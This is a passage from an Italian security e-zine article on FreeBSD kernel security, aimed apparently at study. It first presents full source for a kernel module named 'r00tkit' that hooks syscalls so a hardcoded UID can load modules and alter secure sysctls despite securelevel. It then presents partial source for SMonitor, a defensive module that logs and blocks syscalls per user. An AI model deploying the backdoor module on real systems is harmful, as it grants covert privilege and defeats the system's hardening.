CTLTYPE_INT|CTLFLAG_RW, 0, 0, sysctl_kern_securelvl, "I", ""); Infatti lo scopo dei securelevel e' quello di ridurre la compromissione del sistema in condizioni privilegiate e quindi come prima regola sara' necessario bloccare il passaggio da una condizione sicura a una insicura. Detto questo vediamo alcuni supporti che vengono bloccati: LIVELLO kld > 0 lkm > 0 mount > 0 procfs > 0 ptrace > 0 sysctl > 0 . . settime > 1 . . ipdummynet >= 3 ipfw >= 3 . . . . . . -1 Permanently insecure mode always run the system in level 0 mode. This is the default initial value. 0 Insecure mode immutable and append-only flags may be turned off. All devices may be read or written subject to their permissions. 1 Secure mode the system immutable and system append-only flags may not be turned off; disks for mounted filesystems, /dev/mem , and /dev/kmem may not be opened for writing. 2 Highly secure mode same as secure mode, plus disks may not be opened for writing (except by mount(2) ) whether mounted or not. This level precludes tampering with filesystems by unmounting them, but also inhibits running newfs(8) while the system is multi-user. 3 Network secure mode same as highly secure mode, plus IP packet filter rules (see ipfw(8) and ipfirewall(4)) cannot be changed and dummynet(4) configuration cannot be adjusted. Tenete presente che in altri os il comportamento puo' essere diverso per ciascuno di questi livelli con piccole particolarita', ma a grandi linee lo scopo e' lo stesso. E ora un modulo di esempio per bypassare il securelevel: #define FIGO 1000 e' l'uid di colui che potra' caricare moduli, modificare una variabile accessibile via sysctl() bypassando il controllo sui permessi... La cosa bella e' che neanche il root con securelevel impostato avra' alcuni di questi privilegi, non potra' per esempio aggiungere moduli caricabili in memoria, mentre FIGO si'... Questo sfrutta proprio quanto detto prima riguardo alla funzione di controllo del securelevel (sysctl_kern_securelvl()). Il porting su versioni 4 e' banale... ed e' lasciato come esercizio per il lettore. <-| fbsd_security/securelvl/fbsdkit.c crc32: 1812175330 |-> /* * Date: Sat May 20 13:24:39 2000 * Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ] * * SoftProject 2000 - Digital Sekurity for Y2k * Sikurezza.org - Italian Security MailingList * * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by * Poul-Henning Kamp but you can give me in return a coffee. * * Tested on: FreeBSD 3.4-RELEASE FreeBSD 3.4-RELEASE #10: Thu Ma i386 * * This kld gives you permission to: * * - load / unload a kld even if you aren't root (with a specific id) * and securelevel > 0 * - modify a sysctl value " " " " * * Note: with securelevel > 0 only FIGO can unload modules... bypassing * securelevel... * * This is only an example It's coded for educational purposes.. don't * use it! */ #define FIGO 1000 /* UID */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include static int my_kldload __P((struct proc *, struct kldload_args *)); static int my_kldunload __P((struct proc *, struct kldunload_args *)); static int my__sysctl __P((struct proc *, struct sysctl_args *)); static int my_userland_sysctl __P((struct proc *, int *, u_int, void *, size_t *, int, void *, size_t, size_t *)); static int sysctl_old_user __P((struct sysctl_req *, const void *, size_t)); static int sysctl_new_user __P((struct sysctl_req *, void *, size_t)); static int sysctl_root SYSCTL_HANDLER_ARGS; static int module_handler(module_t mod, int cmd, void *arg) { switch(cmd) { case MOD_LOAD: sysent[SYS_kldload].sy_call = (sy_call_t *) my_kldload; sysent[SYS_kldunload].sy_call=(sy_call_t *)my_kldunload; sysent[SYS___sysctl].sy_call = (sy_call_t *)my__sysctl; break; case MOD_UNLOAD: sysent[SYS_kldload].sy_call = (sy_call_t *) kldload; sysent[SYS_kldunload].sy_call=(sy_call_t *) kldunload; sysent[SYS___sysctl].sy_call=(sy_call_t *) __sysctl; break; } return 0; } static moduledata_t rootkit = { "r00tkit", module_handler, NULL }; DECLARE_MODULE(r00tkit, rootkit, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); /* * We give permissions to FIGO id of load / unload a module */ static int my_kldload(struct proc *p, struct kldload_args* uap) { char* filename = NULL, *modulename; linker_file_t lf; int error = 0; p->p_retval[0] = -1; if (securelevel > 0 && p->p_cred->p_ruid != FIGO) return EPERM; if ((error = suser(p->p_ucred, &p->p_acflag)) && p->p_cred->p_ruid != FIGO) return error; filename = malloc(MAXPATHLEN, M_TEMP, M_WAITOK); if ((error = copyinstr(SCARG(uap, file), filename, MAXPATHLEN, NULL))) goto out; /* Can't load more than one module with the same name */ modulename = rindex(filename, '/'); if (modulename == NULL) modulename = filename; if (linker_find_file_by_name(modulename)) { error = EEXIST; goto out; } if ((error = linker_load_file(filename, &lf))) goto out; lf->userrefs++; p->p_retval[0] = lf->id; out: if (filename) free(filename, M_TEMP); return error; } static int my_kldunload(struct proc *p, struct kldunload_args* uap) { linker_file_t lf; int error = 0; if (securelevel > 0 && p->p_cred->p_ruid != FIGO) return EPERM; if ((error = suser(p->p_ucred, &p->p_acflag)) && p->p_cred->p_ruid != FIGO) return error; lf = linker_find_file_by_id(SCARG(uap, fileid)); if (lf) { KLD_DPF(FILE, ("kldunload: lf->userrefs=%d\n", lf->userrefs)); if (lf->userrefs == 0) { printf("linkerunload: attempt to unload file which was not loaded by user\n"); error = EBUSY; goto out; } error = linker_file_unload(lf); if (error) goto out; lf->userrefs--; } else error = ENOENT; out: return error; } static int my__sysctl(struct proc *p, struct sysctl_args *uap) { int error, i, name[CTL_MAXNAME]; size_t j; if (uap->namelen > CTL_MAXNAME || uap->namelen < 2) return (EINVAL); error = copyin(uap->name, &name, uap->namelen * sizeof(int)); if (error) return (error); error = my_userland_sysctl(p, name, uap->namelen, uap->old, uap->oldlenp, 0, uap->new, uap->newlen, &j); if (error && error != ENOMEM) return (error); if (uap->oldlenp) { i = copyout(&j, uap->oldlenp, sizeof(j)); if (i) return (i); } return (error); } static struct sysctl_lock { int sl_lock; int sl_want; int sl_locked; } memlock; /* * This is used from various compatibility syscalls too. That's why name * must be in kernel space. * * pig: we change it only for __sysctl ... giving permissions to FIGO id */ static int my_userland_sysctl(struct proc *p, int *name, u_int namelen, void *old, size_t *oldlenp, int inkernel, void *new, size_t newlen, size_t *retval) { int error = 0; struct sysctl_req req, req2; bzero(&req, sizeof req); req.p = p; if (oldlenp) { if (inkernel) { req.oldlen = *oldlenp; } else { error = copyin(oldlenp, &req.oldlen, sizeof(*oldlenp)); if (error) return (error); } } if (old) { if (!useracc(old, req.oldlen, B_WRITE)) return (EFAULT); req.oldptr= old; } if (newlen) { if (!useracc(new, req.newlen, B_READ)) return (EFAULT); req.newlen = newlen; req.newptr = new; } req.oldfunc = sysctl_old_user; req.newfunc = sysctl_new_user; req.lock = 1; /* XXX this should probably be done in a general way */ while (memlock.sl_lock) { memlock.sl_want = 1; (void) tsleep((caddr_t)&memlock, PRIBIO+1, "sysctl", 0); memlock.sl_locked++; } memlock.sl_lock = 1; do { req2 = req; error = sysctl_root(0, name, namelen, &req2); } while (error == EAGAIN); req = req2; if (req.lock == 2) vsunlock(req.oldptr, req.oldlen, B_WRITE); memlock.sl_lock = 0; if (memlock.sl_want) { memlock.sl_want = 0; wakeup((caddr_t)&memlock); } if (error && error != ENOMEM) return (error); if (retval) { if (req.oldptr && req.oldidx > req.oldlen) *retval = req.oldlen; else *retval = req.oldidx; } return (error); } /* * Transfer function to/from user space. */ static int sysctl_old_user(struct sysctl_req *req, const void *p, size_t l) { int error = 0; size_t i = 0; if (req->lock == 1 && req->oldptr) { vslock(req->oldptr, req->oldlen); req->lock = 2; } if (req->oldptr) { i = l; if (i > req->oldlen - req->oldidx) i = req->oldlen - req->oldidx; if (i > 0) error = copyout(p, (char *)req->oldptr + req->oldidx, i); } req->oldidx += l; if (error) return (error); if (req->oldptr && i < l) return (ENOMEM); return (0); } static int sysctl_new_user(struct sysctl_req *req, void *p, size_t l) { int error; if (!req->newptr) return 0; if (req->newlen - req->newidx < l) return (EINVAL); error = copyin((char *)req->newptr + req->newidx, p, l); req->newidx += l; return (error); } /* * Traverse our tree, and find the right node, execute whatever it points * at, and return the resulting error code. */ extern struct linker_set sysctl_; static int sysctl_root SYSCTL_HANDLER_ARGS { int *name = (int *) arg1; u_int namelen = arg2; int indx, i, j; struct sysctl_oid **oidpp; struct linker_set *lsp = &sysctl_; j = lsp->ls_length; oidpp = (struct sysctl_oid **) lsp->ls_items; indx = 0; while (j-- && indx < CTL_MAXNAME) { if (*oidpp && ((*oidpp)->oid_number == name[indx])) { indx++; if ((*oidpp)->oid_kind & CTLFLAG_NOLOCK) req->lock = 0; if (((*oidpp)->oid_kind & CTLTYPE) == CTLTYPE_NODE) { if ((*oidpp)->oid_handler) goto found; if (indx == namelen) return ENOENT; lsp = (struct linker_set*)(*oidpp)->oid_arg1; j = lsp->ls_length; oidpp = (struct sysctl_oid **)lsp->ls_items; } else { if (indx != namelen) return EISDIR; goto found; } } else { oidpp++; } } return ENOENT; found: /* If writing isn't allowed */ if (req->newptr && (!((*oidpp)->oid_kind & CTLFLAG_WR) || (((*oidpp)->oid_kind & CTLFLAG_SECURE) && securelevel > 0 && req->p->p_cred->p_ruid != FIGO))) return (EPERM); /* Most likely only root can write */ /* pig: also FIGO user here :) */ if (!((*oidpp)->oid_kind & CTLFLAG_ANYBODY) && req->newptr && req->p && (i = suser(req->p->p_ucred, &req->p->p_acflag)) && req->p->p_cred->p_ruid != FIGO) return (i); if (!(*oidpp)->oid_handler) return EINVAL; if (((*oidpp)->oid_kind & CTLTYPE) == CTLTYPE_NODE) { i = ((*oidpp)->oid_handler) (*oidpp, name + indx, namelen - indx, req); } else { i = ((*oidpp)->oid_handler) (*oidpp, (*oidpp)->oid_arg1, (*oidpp)->oid_arg2, req); } return (i); } <-X-> <-| fbsd_security/securelvl/Makefile crc32: 2440877512 |-> # SoftProject 2000 - Digital Sekurity for Y2k # Sikurezza.org - Italian Security MailingList # # COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by # Poul-Henning Kamp but you can give me in return a coffee. # # Tested on: FreeBSD 3.4-RELEASE FreeBSD 3.4-RELEASE #3: Thu Mar i386 # < pigpen@s0ftpj.org > .PATH: /sys/kern SRCS = fbsdkit.c CFLAGS+= -I/sys -Wall KMOD = fbsdkit NOMAN = t KLDMOD = t KLDLOAD = /sbin/kldload KLDUNLOAD = /sbin/kldunload CLEANFILES+= ${KMOD} load: ${KLDLOAD} -v ./${KMOD} unload: ${KLDUNLOAD} -v -n ${KMOD} .include <-X-> - - - [ S M o N i T o R : c o s t r u i r e u n s u p p o r t o n e l k e r n e l Fino ad adesso abbiamo visto i securelevel, i quali riducono la compromissione di un sistema quando l'intruso ha accesso privilegiato. Ora vediamo un supporto che ha lo scopo di limitare l'utilizzo del sistema da parte di altri utenti. SMonitor e' infatti un supporto pensato per FreeBSD che permette di controllare le syscalls (e non solo) per utente o gruppo... A differenza di SPY (disponibile su FreeBSD.org) non utilizza la sysctl ma si interfaccia al vostro sistema introducendo una nuova syscall per il passaggio della regola dallo spazio utente a quello assegnato al modulo. Per memorizzare le regole SMonitor si serve di una "catena" di tipo LIST, gestita attraverso la sys/queue.h Ad ogni regola e' poi attaccata un'altra lista sulle chiamate che si vuole agire: R E G O L A id (uid o gid) tipo C H I A M A T A (utente, gruppo) chiamate --------------> - tipo di chiamata - azione (log, block) Tale gestione permette di non utilizzare array che occupino piu' spazio di quello che effettivamente potrebbe essere richiesto all'utilizzo del programma. Da parte sua pero' ha lo svantaggio che risulta piu' difficile da implementare e gestire... Questo programma fornisce quindi messaggi sull'utilizzo delle syscall attraverso syslog, solo per gli utenti o gruppi interessati fornendo eventualmente la possibilita' di bloccargli l'esecuzione della chiamata di sistema... SMonitor tenta pure di monitorare in modo intelligente, ovvero cercando di evitare che il vostro syslog sia floodato... anche se ovviamente questo dipende pure dal numero di regole... E' un buon esempio poi per come costruirsi un firewall o sviluppare nel kernel e poi rendere disponibile questo supporto... Ovviamente, a livello utente... non si installa sulla vostra libc, ma fornisce il suo utilizzo attraverso dei programmi semplici da sviluppare che usano la syscall(). In questo articolo allego un "client" per provare il mio supporto. Ma cominciamo con una breve spiegazione per chi non ha capito dalla introduzione come sia possibile dialogare tra il kernel e lo spazio utente. Supponiamo di avere SMonitor nel kernel: ------------------------ ------------------------- | | | | | SMonitor | <---------------------> | syscall() | | ( S_ctl() ) | | | ------------------------ ------------------------- | | | | | ------------------------- | | | smon | | (user area) | ------------------------- Come potete notare da questa rappresentazione banale, il passaggio delle regole avviene attraverso la syscall() - - - [ K E R N E L S P A C E ( s t r u t t u r e n o n v i s t e d a l l ' u t e n t e ) Una regola e' formata da una struttura di questo tipo: struct s_rule { uid_t s_id; /* uid or gid */ int s_flags; /* s_id is a uid or gid ? */ LIST_ENTRY(s_rule) s_chain; /* rule entry */ LIST_HEAD(,s_syscall) sys_head; /* head of logged/blocked call*/ }; in cui ogni syscall (accessibile via sys_head) e' implementata come segue: struct s_syscall { LIST_ENTRY(s_syscall) sys_chain; /* syscall entry */ int sys_call; /* syscall type */ int sys_flags; /* syscall flags */ }; Tramite sys_flags sappiamo se la chiamata sara' bloccata o semplicemente loggata per quell'utente / gruppo. Per maggiori spiegazioni guardate il sysmon.h - - - [ U S E R S P A C E Per passare la regola dallo spazio utente al kernel tramite la syscall() esiste una struttura che quando passa nel kernel viene gestita dalla S_ctl() la quale a sua volta chiama le funzioni interessate a seconda che si intenda cancellare / aggiungere / vedere le regole: struct s_check { int id; /* uid or gid */ int flags; /* S_UID or S_GID */ int n_call; /* OPEN, LINK ... */ int n_flags; /* log, block */ int action; /* ADD_RULE, DEL_RULE.. */ }; Per la cancellazione questa struttura deve permettere di selezionare solo una syscall o di cancellarle tutte per quel particolare id. Questo si fa semplicemente settando n_call a una chiamata supportata nel primo caso o settandolo a zero nel secondo. Detto questo vediamo un esempio di smon: il programma che ho scritto per essere utilizzato dall'admin al fine di dialogare con il supporto kernel. Premetto che ovviamente si puo' benissimo scrivere il proprio programma per passare le regole... questo serve per pigrizia o per una modalita' piu' semplice e intuitiva. # smon -------------------- -- SySMon 1.0Beta -- -------------------- 1) Add rule 2) Del rule 3) List rules 4) Quit sysmon> 1 uid or gid ? -> uid Uid= 1000 Calls: open link mkfifo mount setsockopt udp ... (taglio...) call (ok to exit) > link action (block, log): block call (ok to exit) > open action (block, log): log call (ok to exit) > ok -------------------- -- SySMon 1.0Beta -- -------------------- 1) Add rule 2) Del rule 3) List rules 4) Quit sysmon> 4 # --- ttyxx SoftProject Username> pigpen s/key 91 yo70365 Password: blablablabla... $ id uid=1000(pigpen) gid=0(wheel) groups=0(wheel) $ cd /tmp $ touch 1 $ ln 1 2 ln: 2: Operation not permitted $ May 6 14:42:28 /kernel: [sysmon]: link() (id=1105, uid=1000, name=ln) May 6 14:42:28 /kernel: link(path=1, link=2) May 6 14:42:28 /kernel: link prohibited! - - - [ A L T R i A S P E T T i E' chiaro che una regola puo' essere inserita solamente da utenti privilegiati: questo viene controllato all'interno del kernel attraverso una suser() nella S_ctl(). Il supporto inoltre deve controllare la regola passata; questa ad esempio non puo' avere un id negativo, i flags devono essere corretti, ecc. Il supporto kernel deve quindi prevedere tutte le possibili situazioni. - - - [ A L T R E P 0 S S i B i L i i M P L E M E N T A Z i 0 N i Oltre ad introdurre una nuova syscall, il supporto potrebbe essere sviluppato interfacciandosi attraverso sysctl (per questo cercate SPY sul sito di FreeBSD) o ancora tramite procfs. Visto che il primo modo e' stato gia' fatto e il secondo non e' poi una buona scelta in BSD, ho scelto quello della syscall. - - - [ S U P P 0 R T 0 P E R i P R 0 T 0 C 0 L L i Fino a questo punto, per quanto possa essere relativamente facile fare un supporto del genere, manca l'originalita' :) Ebbene smonitor funziona pure con i protocolli nello stesso modo utilizzato per le system calls. Questo vuol dire che, mentre alcuni utenti privilegiati possono accedere ad altre macchine attraverso un determinato protocollo, si puo' decidere che alcuni users o un gruppo non possano farlo. Com'e' possibile? Si agisce sulla funzione di pru_attach() di quel protocollo e, nel caso questa non debba passare per volonta' di una regola di SMonitor, si esce dalla funzione prima che sia allocato l'inpcb. Altrimenti si puo' sempre bloccare la socket() ... es. -- Blocco UDP ( via pru_attach() ) $ iousoudp fractal 666 [udp]: Operation not permitted [syslog] May 6 16:20:01 /kernel: [sysmon] udp (id=483, uid=1000 name=iousoudp) May 6 16:20:01 /kernel: udp prohibited! Notate che oltre a bloccare dice il nome del programma che e' stato invocato dall'utente... utile per poi verificare... In SMonitor viene pure fornito un supporto di logging per utente della rip_attach() quindi per tutti i protocollo che la utilizzano (es. ICMP, IGMP, IPIP e ovviamente IPPROTO_RAW). - - - [ C E N N i S U L L A C O M P A T i B i L i T A' C O N L A 4 Il supporto per i protocolli lavora sulla 3.4, ma non ho avuto modo di fare un porting sulla 4.0... tutto il resto del sw dovrebbe funzionare su entrambe le versioni senza problemi. Dalla 4.0 c'e' un embrione di acl(3) nel kernel che e' in fase di sviluppo quindi questo supporto potrebbe non essere necessario per tali versioni. - - - [ M I G L I O R A M E N T i ( t e m p o p e r m e t t e n d o ) - implementare il passaggio delle regole da kernel a userland in modo serio :) - bloccare il supporto quando c'e' una richiesta di aggiungere una regola e smonitor sta procedendo ad aggiungere/modificare/togliere un'altra - eventualmente ordinare le list per uid e le syscall per il loro numero assegnato - - - [ I L C 0 D i C E <-| fbsd_security/smonitor/sysmon.c crc32: 1777825870 |-> /* * Name: SMonitor * Date: Sat Apr 15 11:47:13 2000 * Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ] * * SoftProject 2000 - Digital Sekurity for Y2k * Sikurezza.org - Italian Security MailingList * * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by * Poul-Henning Kamp but you can give me in return a coffee. * * Tested on: FreeBSD 3.4-RELEASE FreeBSD 3.4-RELEASE #5: Mon Mar i386 * FreeBSD 4.0-RELEASE Compatible * * Special thanks go to: Grace Slick (for her voice) oh, yeah! * * MON_PROTOCOL works with 3.4 Release but not with 4: * if you include it, there are no changes... * * This support was an example created for BFi magazine, It can give you an * idea of how you can create and check rules on your kernel support... * * Note: Even if it works, smonitor is incomplete! so don't consider it a tool * for your box, see acl(3) (under development) or look for spy at * www.freebsd.org if you need of an acl support.. * */ #define MON_PROTOCOL #define SKIP_DEVICE #define SKIP_MOUNTD #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef MON_PROTOCOL # include # include # include # include # include # include # include # include # include # include #endif #include "sysmon.h" static int module_handler __P((module_t, int, void *)); static void log_proc __P((struct proc *, char *)); #ifdef SKIP_DEVICE static char * strstr __P((register char *, register char *)); #endif /* * Syscalls */ static int s_setsockopt __P((struct proc *, register struct setsockopt_args *)); static int s_mount __P((struct proc *, register struct mount_args *)); static int s_open __P((struct proc *, register struct open_args *)); static int s_link __P((struct proc *, register struct link_args *)); static int s_mkfifo __P((struct proc *, register struct mkfifo_args *)); static int s_seteuid __P((struct proc *, register struct seteuid_args *)); static int s_socket __P((struct proc *, register struct socket_args *)); static int s_unlink __P((struct proc *, register struct unlink_args *)); static int s_execve __P((struct proc *, register struct execve_args *)); static int s_setuid __P((struct proc *, register struct setuid_args *)); static int s_setgid __P((struct proc *, register struct setgid_args *)); static int s_chmod __P((struct proc *, register struct chmod_args *)); static int s_chown __P((struct proc *, register struct chown_args *)); #if defined(MON_PROTOCOL) && (__FreeBSD_version < 400000) /* * Protocols */ static int s_rip_attach __P((struct socket *, int, struct proc *)); static int (*old_rip_attach) __P((struct socket *, int, struct proc *)); static int s_udp_attach __P((struct socket *, int, struct proc *)); static int (*old_udp_attach) __P((struct socket *, int, struct proc *)); extern struct protosw inetsw[]; #endif static moduledata_t SysMon = { "sysmon", module_handler, NULL }; DECLARE_MODULE(sysmon, SysMon, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); /* * Module rules... */ LIST_HEAD(,s_rule) s_head; /* head for our rules */ MALLOC_DEFINE(M_SMON, "SMonitor", "SMonitor chain's"); /* * Functions for the chain of Smon */ static void s_rules_init __P((void)); static void s_rules_bye __P((void)); static int s_add_entry __P((struct s_check *)); static int s_del_entry __P((struct s_check *)); static int s_list_entry __P((struct s_check *)); static int s_check_entry __P((struct proc *, int)); static void s_rules_init(void) { LIST_INIT(&s_head); } static void s_rules_bye(void) { int count = 0; while(LIST_FIRST(&s_head)) { struct s_rule *pr = LIST_FIRST(&s_head); while(LIST_FIRST(&pr->sys_head)) { struct s_syscall *scp = LIST_FIRST(&pr->sys_head); LIST_REMOVE(LIST_FIRST(&pr->sys_head), sys_chain); if(scp) free(scp, M_SMON); } LIST_REMOVE(LIST_FIRST(&s_head), s_chain); if(pr) free(pr, M_SMON); count++; } if(count) log(LOG_INFO, "[sysmon] unloaded: %d rules erased\n", count); } /* * type = S_UID * S_GID * */ static int s_add_entry(struct s_check *check) { struct s_rule *pr, *pnew; struct s_syscall *p_ss; pnew = malloc(sizeof(struct s_rule), M_SMON, M_NOWAIT); bzero(pnew, sizeof(*pnew)); pnew->s_id = check->id; pnew->s_flags = check->flags; /* * Check if our rule is the first */ if(!s_head.lh_first) { p_ss = malloc(sizeof(struct s_syscall), M_SMON, M_NOWAIT); bzero(p_ss, sizeof(*p_ss)); p_ss->sys_call = check->n_call; p_ss->sys_flags = check->n_flags; LIST_INSERT_HEAD(&pnew->sys_head, p_ss, sys_chain); LIST_INSERT_HEAD(&s_head, pnew, s_chain); return 0; } else { LIST_FOREACH(pr, &s_head, s_chain) { /* * check if there is a rule with the same uid / gid */ if((pr->s_flags == check->flags) && (pr->s_id == check->id)) { struct s_syscall *sc; /* * check if there is the same syscall and modify * it */ LIST_FOREACH(sc, &pr->sys_head, sys_chain) { if(sc->sys_call == check->n_call) { sc->sys_flags = check->n_flags; if(pnew) free(pnew, M_SMON); return 0; } /* * if it is the last element put new * rule in append to sys_chain */ if(!sc->sys_chain.le_next) { p_ss = malloc( sizeof(struct s_syscall), M_SMON, M_NOWAIT); bzero(p_ss, sizeof(*p_ss)); p_ss->sys_call = check->n_call; p_ss->sys_flags= check->n_flags; LIST_INSERT_AFTER(sc, p_ss, sys_chain); return 0; } } } /* * attach new rule */ if(!pr->s_chain.le_next) { p_ss = malloc(sizeof(struct s_syscall), M_SMON, M_NOWAIT); bzero(p_ss, sizeof(*p_ss)); p_ss->sys_call = check->n_call; p_ss->sys_flags = check->n_flags; LIST_INSERT_HEAD(&pnew->sys_head, p_ss, sys_chain); LIST_INSERT_AFTER(pr, pnew, s_chain); return(0); } } } /* * Never reached */ return (-1); } /* * if n_call is 0 we wanna delete all syscalls for that uid / gid * if n_call is != 0 we wanna delete only that syscall for that uid / gid */ static int s_del_entry(struct s_check *check) { struct s_rule *pr; struct s_syscall *sp; if(!s_head.lh_first) return (-1); /* * Delete all syscalls for that rule */ if(!check->n_call) { LIST_FOREACH(pr, &s_head, s_chain) { if((pr->s_flags == check->flags) && (pr->s_id == check->id)) { struct s_rule *rp_next; while(LIST_FIRST(&pr->sys_head)) { sp = LIST_FIRST(&pr->sys_head); LIST_REMOVE(LIST_FIRST(&pr->sys_head), sys_chain); if(sp) free(sp, M_SMON); } /* * We don't want a rule without entries */ rp_next = LIST_NEXT(pr, s_chain); LIST_REMOVE(pr, s_chain); if(pr) free(pr, M_SMON); pr = rp_next; return 0; } } } /* * Delete only a syscall for that rule */ if(check->n_call > 0) { LIST_FOREACH(pr, &s_head, s_chain) { if((pr->s_flags == check->flags) && (pr->s_id == check->id)) { LIST_FOREACH(sp, &pr->sys_head, sys_chain) { if(check->n_call == sp->sys_call) { struct s_syscall *sp_next; sp_next = LIST_NEXT(sp, sys_chain); LIST_REMOVE(sp, sys_chain); if(sp) free(sp, M_SMON); sp = sp_next; /* * we don't want a rule without * entries */ if(!pr->sys_head.lh_first) { struct s_rule *rp_next; rp_next = LIST_NEXT(pr, s_chain); LIST_REMOVE(pr,s_chain); if(pr) free(pr, M_SMON); pr = rp_next; } return 0; } } } } } return (-1); } /* * Temporary s_list_entry... * This function writes directly from kernel... with printf() * Yeah it sucks... but I have no time... */ static int s_list_entry(struct s_check *check) { register struct s_rule *pr; if(!s_head.lh_first) return (-1); LIST_FOREACH(pr, &s_head, s_chain) { register struct s_syscall *sp; if(pr->s_flags == S_UID) printf("uid-> "); if(pr->s_flags == S_GID) printf("gid-> "); printf("%d\n", pr->s_id); LIST_FOREACH(sp, &pr->sys_head, sys_chain) { printf("\tcall-> %d ", sp->sys_call); printf("flags-> "); if(sp->sys_flags == SYS_LOG) printf("log\n"); if(sp->sys_flags == SYS_BLOCK) printf("block\n"); } } return 0; } /* * return -1 if SysMon is not active for that syscall * 0 if active * 1 if block * */ static int s_check_entry(struct proc *p, int pos) { register struct s_rule *rp; register struct s_syscall *sp; LIST_FOREACH(rp, &s_head, s_chain) { if( (rp->s_id == p->p_cred->p_ruid) || (rp->s_id == p->p_cred->p_rgid) ) { LIST_FOREACH(sp, &rp->sys_head, sys_chain) { if(pos == sp->sys_call) { switch(sp->sys_flags) { case SYS_LOG: return 0; case SYS_BLOCK: return 1; } } } } } return (-1); } /* * Module handler */ static int module_handler(module_t mod, int cmd, void *arg) { #if defined(MON_PROTOCOL) && (__FreeBSD_version < 400000) int s; #define attach(x) inetsw[ip_protox[x]].pr_usrreqs->pru_attach #endif switch(cmd) { case MOD_LOAD: printf("--SysMon v1.0beta Loaded--\n"); s_rules_init(); sysent[SYS_setsockopt].sy_call = (sy_call_t *) s_setsockopt; sysent[SYS_mount].sy_call = (sy_call_t *) s_mount; sysent[SYS_open].sy_call = (sy_call_t *) s_open; sysent[SYS_link].sy_call = (sy_call_t *) s_link; sysent[SYS_mkfifo].sy_call = (sy_call_t *) s_mkfifo; sysent[SYS_seteuid].sy_call = (sy_call_t *) s_seteuid; sysent[SYS_socket].sy_call = (sy_call_t *) s_socket; sysent[SYS_unlink].sy_call = (sy_call_t *) s_unlink; sysent[SYS_execve].sy_call = (sy_call_t *) s_execve; sysent[SYS_setuid].sy_call = (sy_call_t *) s_setuid; sysent[SYS_setgid].sy_call = (sy_call_t *) s_setgid; sysent[SYS_chmod].sy_call = (sy_call_t *) s_chmod; sysent[SYS_chown].sy_call = (sy_call_t *) s_chown; #if defined(MON_PROTOCOL) && (__FreeBSD_version < 400000) s = splnet(); old_rip_attach = attach(IPPROTO_RAW); attach(IPPROTO_RAW) = s_rip_attach; attach(IPPROTO_ICMP) = s_rip_attach; attach(IPPROTO_IGMP) = s_rip_attach; attach(IPPROTO_IPIP) = s_rip_attach; old_udp_attach = attach(IPPROTO_UDP); attach(IPPROTO_UDP) = s_udp_attach; splx(s); #endif break; case MOD_UNLOAD: printf("--SysMon v1.0beta Unloaded--\n"); sysent[SYS_setsockopt].sy_call = (sy_call_t *) setsockopt; sysent[SYS_mount].sy_call = (sy_call_t *) mount; sysent[SYS_open].sy_call = (sy_call_t *) open; sysent[SYS_link].sy_call = (sy_call_t *) link; sysent[SYS_mkfifo].sy_call = (sy_call_t *) mkfifo; sysent[SYS_seteuid].sy_call = (sy_call_t *) seteuid; sysent[SYS_socket].sy_call = (sy_call_t *) socket; sysent[SYS_unlink].sy_call = (sy_call_t *) unlink; sysent[SYS_execve].sy_call = (sy_call_t *) execve; sysent[SYS_setuid].sy_call = (sy_call_t *) setuid; sysent[SYS_setgid].sy_call = (sy_call_t *) setgid; sysent[SYS_chmod].sy_call = (sy_call_t *) chmod; sysent[SYS_chown].sy_call = (sy_call_t *) chown; #if defined(MON_PROTOCOL) && (__FreeBSD_version < 400000) s = splnet(); attach(IPPROTO_RAW) = old_rip_attach; attach(IPPROTO_ICMP) = old_rip_attach; attach(IPPROTO_IGMP) = old_rip_attach; attach(IPPROTO_IPIP) = old_rip_attach; attach(IPPROTO_UDP) = old_udp_attach; splx(s); #endif s_rules_bye(); break; } return 0; } /* * SYSCALL MODULE * * This part implements a new syscall to interface this support with your * system * */ #define PAD_(t) (sizeof(register_t) <= sizeof(t) ? \ 0 : sizeof(register_t) - sizeof(t)) struct sctl_args { struct s_check *check; char check_[PAD_(struct s_check *)]; }; static int S_ctl __P((struct proc *, struct sctl_args *)); static struct sysent S_sysent = { 1, (sy_call_t *) S_ctl }; #define MAX_ID 32000 static int S_ctl(struct proc *p, struct sctl_args *r) { int error; /* * check permission */ #if (__FreeBSD_version < 400000) if((error = suser(p->p_ucred, &p->p_acflag))) #else if((error = suser(p))) #endif return (error); /* * check params */ if(r->check->action != LIST_RULE) { if(r->check->id < 0 || r->check->id > MAX_ID) return(EINVAL); if((r->check->n_call < 0) || r->check->n_call > LAST_CALL) return(EINVAL); if((r->check->action != DEL_RULE) && (!r->check->n_call)) return(EINVAL); if((r->check->flags != S_UID) && (r->check->flags != S_GID)) return(EINVAL); if((r->check->action != DEL_RULE) && (r->check->n_flags != SYS_BLOCK) && (r->check->n_flags != SYS_LOG)) return(EINVAL); } switch(r->check->action) { case DEL_RULE: if(s_del_entry(r->check) == -1) return(EINVAL); break; case ADD_RULE: if(s_add_entry(r->check) == -1) return(EINVAL); break; case LIST_RULE: if(s_list_entry(r->check) == -1) return(EINVAL); break; default: return(EINVAL); } return 0; } static int offset = NO_SYSCALL; static int S_Handle __P((struct module *, int, void *)); static int S_Handle(struct module *mod, int cmd, void *arg) { return 0; } SYSCALL_MODULE(S_Call, &offset, &S_sysent, S_Handle, NULL); static void log_proc(struct proc *p, char *name) { log(LOG_INFO, "[sysmon]: %s (id=%d, uid=%d name=%s)\n", name, p->p_pid, p->p_cred->p_ruid, p->p_comm); } /* * System calls */ static int s_setsockopt(struct proc *p, register struct setsockopt_args *uap) { register int val; if((val = s_check_entry(p, SETSOCKOPT)) != -1) { log_proc(p, "setsockopt()"); log(LOG_INFO, "setsockopt(level=%d,name=%d)\n", uap->level, uap->name); if(val == 1) { log(LOG_INFO, "setsockopt prohibited!"); return EPERM; } } return(setsockopt(p, uap)); } #ifdef SKIP_MOUNTD /* * Don't change this if you don't know what it does... */ #define MOUNTD_NAME "mountd" #endif static int s_mount(struct proc *p, register struct mount_args *uap) { #ifdef SKIP_MOUNTD struct proc *p1; pid_t mountd_id = 0; 